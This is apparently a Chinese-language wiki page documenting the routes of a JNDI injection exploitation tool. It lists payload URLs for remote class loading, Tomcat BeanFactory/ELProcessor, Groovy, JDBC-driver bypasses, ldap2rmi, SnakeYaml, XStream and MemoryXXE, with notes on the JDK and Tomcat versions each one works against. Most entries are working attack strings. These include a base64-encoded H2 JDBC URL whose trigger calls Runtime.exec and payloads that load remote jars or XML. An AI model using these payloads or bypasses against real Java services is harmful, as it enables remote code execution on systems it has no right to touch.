42

1 、JNDI Routing

炁 edited this page 2026-03-28 11:49:21 +08:00

Table of Contents

• 远程类加载
• Basic
• 本地工厂类加载
• ELProcessor
• Deserialization
• Groovy
• jdbcBypass1
• jdbcBypass2
• ldap2rmi
• SnakeYaml
• XStream
• MemoryXXE

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

JNDI injection payload 的Gadget与Payload不区分大小写。

远程类加载

Basic

Oracle JDK 11.0.1, 8u191, 7u201, and 6u211 及以后的版本，为了限制LDAP协议的JNDI利用，将系统属性 com.sun.jndi.ldap.object.trustURLCodebase 的默认值设置为 false ，即默认不允许 LDAP 从远程地址加载 objectfactory 类。

自定义类加载例子

ldap://127.0.0.1:1389/basic/M-LF-shell.class
rmi://127.0.0.1:1099/basic/M-LF-shell.class

本地工厂类加载

org.apache.naming.factory.BeanFactory

ELProcessor

依赖:

• javax.el.ELProcessor

9.0.63后forceString选项已作为安全强化措施删除。

tomcat-embed-core || tomcat-catalina <= 9.0.62 （Spring Boot Starter Tomcat <= 2.6.7）可用。

自定义类加载例子

ldap://127.0.0.1:1389/elprocessor/M-LF-shell.class
rmi://127.0.0.1:1099/elprocessor/M-LF-shell.class

Deserialization

向 javaSerializedData 属性中写入 gadget 的序列化数据

Groovy

依赖:

• groovy.lang.GroovyShell

ldap://127.0.0.1:1389/groovy/command/calc

jdbcBypass1

JDK版本 < 20

可选factoryType

org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
org.apache.commons.dbcp.BasicDataSourceFactory
com.alibaba.druid.pool.DruidDataSourceFactory
org.apache.tomcat.jdbc.pool.DataSourceFactory

自行构造任意JDBC Payload

ldap://127.0.0.1:1389/jdbc1/org.h2.Driver/org.apache.tomcat.jdbc.pool.DataSourceFactory/base64/amRiYzpoMjptZW06dGVzdDtNT0RFPU1TU1FMU2VydmVyO2luaXQ9Q1JFQVRFIFRSSUdHRVIgdGVzdCBCRUZPUkUgU0VMRUNUIE9OIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgQVMgJy8vamF2YXNjcmlwdApqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiY2FsYyIpJw==

jdbcBypass2

ldap2rmi

通过设置 javaRemoteLocation 来使用 com.sun.jndi.ldap.Obj#decodeRmiObject*//85207 还原 Factory 对象，从ldap转换成rmi进行绕过

ldap://127.0.0.1:1389/ldap2rmi/rmi参数

SnakeYaml

依赖：

• org.yaml.snakeyaml.Yaml

ldap://127.0.0.1:1389/snakeyaml/url/base64/aHR0cDovLzEyNy4wLjAuMS8xLmphcg==

XStream

依赖：

• com.thoughtworks.xstream.XStream

ldap://127.0.0.1:1389/xstream/command/calc

MemoryXXE

Tomcat中的 org.apache.catalina.users.MemoryUserDatabaseFactory

ldap://127.0.0.1:1389/memoryxxe/url/base64/aHR0cDovLzEyNy4wLjAuMS9leHAueG1s